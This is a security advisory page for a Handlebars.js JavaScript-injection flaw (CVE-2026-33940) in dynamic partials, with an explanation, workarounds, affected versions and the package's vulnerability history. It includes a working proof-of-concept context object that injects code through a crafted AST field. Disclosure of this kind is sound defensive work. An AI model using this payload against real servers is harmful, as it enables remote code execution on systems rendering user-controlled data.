High

Handlebars.js has JavaScript Injection via AST Type Confusion when passing an object as dynamic partial

  • Disclosed: 27.03.2026
  • Updated: 11.10.2026 10:22

Summary

A crafted object placed in the template context can bypass all conditional guards in resolvePartial() and cause invokePartial() to return undefined. The Handlebars runtime then treats the unresolved partial as a source that needs to be compiled, passing the crafted object to env.compile(). Because the object is a valid Handlebars AST containing injected code, the generated JavaScript executes arbitrary commands on the server. The attack requires the adversary to control a value that can be returned by a dynamic partial lookup.

Description

The vulnerable code path spans two functions in lib/handlebars/runtime.js:

resolvePartial(): A crafted object with call: true satisfies the first branch condition (partial.call) and causes an early return of the original object itself, because none of the remaining conditionals (string check, options.partials lookup, etc.) match a plain object. The function returns the crafted object as-is.

invokePartial(): When resolvePartial returns a non-function object, invokePartial produces undefined. The runtime interprets undefined as "partial not yet compiled" and calls env.compile(partial, ...) where partial is the crafted AST object. The JavaScript code generator processes the AST and emits JavaScript containing the injected payload, which is then evaluated.

Minimum prerequisites:

  1. The template uses a dynamic partial lookup: {{> (lookup . "key")}} or equivalent.
  2. The adversary can set the value of the looked-up context property to a crafted object.

In server-side rendering scenarios where templates process user-supplied context data, this enables full Remote Code Execution.

Proof of Concept

js
const Handlebars = require('handlebars');

const vulnerableTemplate = `{{> (lookup . "payload")}}`;

const maliciousContext = {
  payload: {
    call: true, // bypasses the primary resolvePartial branch
    type: "Program",
    body: [
      {
        type: "MustacheStatement",
        depth: 0,
        path: {
          type: "PathExpression",
          parts: ["pop"],
          original: "this.pop",
          // Injected code breaks out of the generated function's argument list
          depth: "0])),function () {console.error('VULNERABLE: object -> dynamic partial -> RCE');}()));//",
        },
      },
    ],
  },
};

Handlebars.compile(vulnerableTemplate)(maliciousContext);
// Prints: VULNERABLE: object -> dynamic partial -> RCE

Workarounds

  • Use the runtime-only build (require('handlebars/runtime')). Without compile(), the fallback compilation path in invokePartial is unreachable.
  • Sanitize context data before rendering: ensure no value in the context is a non-primitive object that could be passed to a dynamic partial.
  • Avoid dynamic partial lookups ({{> (lookup ...)}}) when context data is user-controlled.

Affected software

Click a technology to see all vulnerabilities affecting it.

PlatformPackageVulnerable versionsFixed in
npm package handlebars >= 4.0.0, < 4.7.9 4.7.9

References

CVSS score 8.1/10
CVSS vector
CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H
Weakness (CWE)
CWE-843, CWE-94
Platform
npm
Package
handlebars
Disclosed
27.03.2026
Updated
11.10.2026 10:22

Sources and licenses

OSV / GitHub Advisory Database - GHSA-xhpv-hc6g-r9c6 - CC BY 4.0

Vulnerability history: handlebars

All published vulnerabilities of this package (npm package), newest first. Shows whether this is a one-off slip or a package that needs watching.

All (22) in the archive
Total entries
22
First → latest
10.2018 10.2026
Without a fix
0
Exploited in attacks
0

Severity breakdown

  • Critical 6
  • High 10
  • Medium 5
  • Low 1

Disclosures per year

  1. 2018: 1
  2. 2019: 2
  3. 2020: 4
  4. 2021: 1
  5. 2022: 3
  6. 2023: 0
  7. 2024: 0
  8. 2025: 0
  9. 2026: 11
Severity:
  1. Critical CVE-2026-106445 >= 3.0.0, < 4.7.10 4.7.10
  2. Handlebars.js has JavaScript Injection via AST Type Confusion when passing an object as dynamic partial this entry
    High · 8.1 CVE-2026-33940 >= 4.0.0, < 4.7.9 4.7.9
  3. Critical · 9.8 CVE-2026-33937 >= 4.0.0, < 4.7.9 4.7.9
  4. Critical · 9.8 CVE-2021-23383 < 4.7.7 4.7.7
  5. High · 7.5 CVE-2019-20922 >= 4.0.0, < 4.4.5 4.4.5
  6. High · 8.1 CVE-2019-20920 < 3.0.8, >= 4.0.0, < 4.5.3 3.0.8, 4.5.3
  7. Critical · 9.8 CVE-2021-23369 < 4.7.7 4.7.7
  8. High ghsa-q2c6-c6pm-g3gh < 3.0.8, >= 4.0.0, < 4.5.3 3.0.8, 4.5.3
  9. High ghsa-g9r4-xpmj-mj65 < 3.0.8, >= 4.0.0, < 4.5.3 3.0.8, 4.5.3
  10. High · 7.3 ghsa-2cf5-4w76-r9qv < 3.0.8, >= 4.0.0, < 4.5.2 3.0.8, 4.5.2
  11. Critical · 9.8 CVE-2019-19919 >= 4.0.0, < 4.3.0, < 3.0.8 4.3.0, 3.0.8
  12. High · 7.3 ghsa-q42p-pg8m-cqh6 >= 4.1.0, < 4.1.2, >= 4.0.0, < 4.0.14, < 3.0.7 4.1.2, 4.0.14, 3.0.7

Know which vulnerabilities affect your application

With the DockRay integration and software inventory enabled, DockRay checks reported component versions against known vulnerabilities and notifies you about confirmed matches. Coverage depends on the supported technology and available advisory data.

Connect your application
DockRay newsletter

Application security in your inbox

Important vulnerabilities, actionable guidance and practical advice for your applications. Choose your technologies and follow what matters to your project.

  • A daily digest of new vulnerabilities, critical ones included.
  • Notifications about important updates.
  • Practical advice on application security and monitoring.

Leave empty to receive updates for every technology.

Free to subscribe. Unsubscribe with one click in any email.